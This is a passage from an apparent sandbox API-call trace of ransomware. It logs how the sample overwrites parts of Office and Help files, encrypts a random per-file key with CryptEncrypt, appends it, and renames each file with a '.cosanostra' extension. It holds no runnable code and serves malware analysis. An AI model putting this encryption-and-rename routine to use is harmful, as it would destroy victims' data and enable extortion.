Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\grintl32.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0095.968] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.REST.trx_dll") returned 77 [0095.968] StrStrW (lpFirst="GRINTL32.REST.trx_dll", lpSrch=".txt") returned 0x0 [0095.980] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.980] WriteFile (in: hFile=0x15c, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf0ac, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abf0ac*=0x2800, lpOverlapped=0x0) returned 1 [0095.980] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.980] WriteFile (in: hFile=0x15c, lpBuffer=0x2abf0ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf0ac, lpOverlapped=0x0 | out: lpBuffer=0x2abf0ec*, lpNumberOfBytesWritten=0x2abf0ac*=0x4, lpOverlapped=0x0) returned 1 [0095.980] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf0ac, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf0ac*=0x30, lpOverlapped=0x0) returned 1 [0095.981] CloseHandle (hObject=0x15c) returned 1 [0095.981] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.REST.trx_dll.cosanostra") returned 88 [0095.981] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\grintl32.rest.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.REST.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\grintl32.rest.trx_dll.cosanostra")) returned 1 [0095.982] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf0f0 | out: pbBuffer=0x2abf0f0) returned 1 [0095.982] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf0e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf0e8*=0x30) returned 1 [0095.982] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\grintl32.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0095.983] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.DLL.trx_dll") returned 76 [0095.983] StrStrW (lpFirst="GRINTL32.DLL.trx_dll", lpSrch=".txt") returned 0x0 [0096.012] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.012] WriteFile (in: hFile=0x15c, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf0ac, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abf0ac*=0x2800, lpOverlapped=0x0) returned 1 [0096.012] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.012] WriteFile (in: hFile=0x15c, lpBuffer=0x2abf0ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf0ac, lpOverlapped=0x0 | out: lpBuffer=0x2abf0ec*, lpNumberOfBytesWritten=0x2abf0ac*=0x4, lpOverlapped=0x0) returned 1 [0096.142] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf0ac, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf0ac*=0x30, lpOverlapped=0x0) returned 1 [0096.142] CloseHandle (hObject=0x15c) returned 1 [0096.142] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.DLL.trx_dll.cosanostra") returned 87 [0096.142] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\grintl32.dll.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.DLL.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\grintl32.dll.trx_dll.cosanostra")) returned 1 [0096.142] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf0e8 | out: pbBuffer=0x2abf0e8) returned 1 [0096.143] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf0e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf0e0*=0x30) returned 1 [0096.143] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pub6intl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0096.143] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll") returned 76 [0096.143] StrStrW (lpFirst="PUB6INTL.DLL.trx_dll", lpSrch=".txt") returned 0x0 [0096.144] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.144] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf0a4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abf0a4*=0x2800, lpOverlapped=0x0) returned 1 [0096.144] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.144] WriteFile (in: hFile=0x15c, lpBuffer=0x2abf0e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf0a4, lpOverlapped=0x0 | out: lpBuffer=0x2abf0e4*, lpNumberOfBytesWritten=0x2abf0a4*=0x4, lpOverlapped=0x0) returned 1 [0096.145] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf0a4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf0a4*=0x30, lpOverlapped=0x0) returned 1 [0096.145] CloseHandle (hObject=0x15c) returned 1 [0096.145] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll.cosanostra") returned 87 [0096.145] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pub6intl.dll.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pub6intl.dll.trx_dll.cosanostra")) returned 1 [0096.147] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf0e8 | out: pbBuffer=0x2abf0e8) returned 1 [0096.147] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf0e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf0e0*=0x30) returned 1 [0096.147] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\ppintl.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0096.148] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll") returned 75 [0096.148] StrStrW (lpFirst="PPINTL.REST.trx_dll", lpSrch=".txt") returned 0x0 [0096.154] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.154] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf0a4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abf0a4*=0x2800, lpOverlapped=0x0) returned 1 [0096.154] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.154] WriteFile (in: hFile=0x15c, lpBuffer=0x2abf0e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf0a4, lpOverlapped=0x0 | out: lpBuffer=0x2abf0e4*, lpNumberOfBytesWritten=0x2abf0a4*=0x4, lpOverlapped=0x0) returned 1 [0096.181] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf0a4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf0a4*=0x30, lpOverlapped=0x0) returned 1 [0096.181] CloseHandle (hObject=0x15c) returned 1 [0096.181] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll.cosanostra") returned 86 [0096.181] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\ppintl.rest.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\ppintl.rest.trx_dll.cosanostra")) returned 1 [0096.182] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf0e0 | out: pbBuffer=0x2abf0e0) returned 1 [0096.182] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf0d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf0d8*=0x30) returned 1 [0096.182] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outlwvw.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0096.182] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll") returned 75 [0096.182] StrStrW (lpFirst="OUTLWVW.DLL.trx_dll", lpSrch=".txt") returned 0x0 [0096.201] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.201] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf09c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf09c*=0x2800, lpOverlapped=0x0) returned 1 [0096.201] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.201] WriteFile (in: hFile=0x15c, lpBuffer=0x2abf0dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf09c, lpOverlapped=0x0 | out: lpBuffer=0x2abf0dc*, lpNumberOfBytesWritten=0x2abf09c*=0x4, lpOverlapped=0x0) returned 1 [0096.201] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf09c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf09c*=0x30, lpOverlapped=0x0) returned 1 [0096.202] CloseHandle (hObject=0x15c) returned 1 [0096.202] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll.cosanostra") returned 86 [0096.202] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outlwvw.dll.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outlwvw.dll.trx_dll.cosanostra")) returned 1 [0096.202] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf0e0 | out: pbBuffer=0x2abf0e0) returned 1 [0096.202] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf0d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf0d8*=0x30) returned 1 [0096.202] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\onintl.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0096.203] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll") returned 75 [0096.203] StrStrW (lpFirst="ONINTL.REST.trx_dll", lpSrch=".txt") returned 0x0 [0096.755] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.756] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf09c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf09c*=0x2800, lpOverlapped=0x0) returned 1 [0096.756] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.756] WriteFile (in: hFile=0x15c, lpBuffer=0x2abf0dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf09c, lpOverlapped=0x0 | out: lpBuffer=0x2abf0dc*, lpNumberOfBytesWritten=0x2abf09c*=0x4, lpOverlapped=0x0) returned 1 [0096.828] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf09c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf09c*=0x30, lpOverlapped=0x0) returned 1 [0096.828] CloseHandle (hObject=0x15c) returned 1 [0096.828] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll.cosanostra") returned 86 [0096.828] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\onintl.rest.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\onintl.rest.trx_dll.cosanostra")) returned 1 [0096.939] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf0d0 | out: pbBuffer=0x2abf0d0) returned 1 [0096.939] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf0c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf0c8*=0x30) returned 1 [0096.939] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.Lck" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mvalidator.lck"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0096.940] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.Lck") returned 80 [0096.940] StrStrW (lpFirst="Help_MValidator.Lck", lpSrch=".txt") returned 0x0 [0096.941] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffffc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.941] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf08c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abf08c*=0x4, lpOverlapped=0x0) returned 1 [0096.941] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.941] WriteFile (in: hFile=0x15c, lpBuffer=0x2abf0cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf08c, lpOverlapped=0x0 | out: lpBuffer=0x2abf0cc*, lpNumberOfBytesWritten=0x2abf08c*=0x4, lpOverlapped=0x0) returned 1 [0096.941] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf08c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf08c*=0x30, lpOverlapped=0x0) returned 1 [0096.941] CloseHandle (hObject=0x15c) returned 1 [0096.941] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.Lck.cosanostra") returned 91 [0096.941] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.Lck" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mvalidator.lck"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.Lck.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mvalidator.lck.cosanostra")) returned 1 [0096.942] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf0d0 | out: pbBuffer=0x2abf0d0) returned 1 [0096.942] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf0c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf0c8*=0x30) returned 1 [0096.942] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mvalidator.h1d"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0096.943] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D") returned 80 [0096.943] StrStrW (lpFirst="Help_MValidator.H1D", lpSrch=".txt") returned 0x0 [0096.948] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.948] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf08c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abf08c*=0x2800, lpOverlapped=0x0) returned 1 [0096.948] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.948] WriteFile (in: hFile=0x15c, lpBuffer=0x2abf0cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf08c, lpOverlapped=0x0 | out: lpBuffer=0x2abf0cc*, lpNumberOfBytesWritten=0x2abf08c*=0x4, lpOverlapped=0x0) returned 1 [0096.970] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf08c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf08c*=0x30, lpOverlapped=0x0) returned 1 [0096.971] CloseHandle (hObject=0x15c) returned 1 [0096.978] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D.cosanostra") returned 91 [0096.979] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mvalidator.h1d"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mvalidator.h1d.cosanostra")) returned 1 [0096.991] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf0c8 | out: pbBuffer=0x2abf0c8) returned 1 [0096.991] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf0c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf0c0*=0x30) returned 1 [0096.991] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mtoc_help.h1h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0096.992] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H") returned 79 [0096.992] StrStrW (lpFirst="Help_MTOC_help.H1H", lpSrch=".txt") returned 0x0 [0097.010] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.010] WriteFile (in: hFile=0x15c, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf084, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abf084*=0x2800, lpOverlapped=0x0) returned 1 [0097.010] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.010] WriteFile (in: hFile=0x15c, lpBuffer=0x2abf0c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf084, lpOverlapped=0x0 | out: lpBuffer=0x2abf0c4*, lpNumberOfBytesWritten=0x2abf084*=0x4, lpOverlapped=0x0) returned 1 [0097.027] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf084, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf084*=0x30, lpOverlapped=0x0) returned 1 [0097.027] CloseHandle (hObject=0x15c) returned 1 [0097.027] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H.cosanostra") returned 90 [0097.027] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mtoc_help.h1h"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mtoc_help.h1h.cosanostra")) returned 1 [0097.028] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf0c8 | out: pbBuffer=0x2abf0c8) returned 1 [0097.028] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf0c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf0c0*=0x30) returned 1 [0097.028] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\.." (normalized: "c:\\users\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 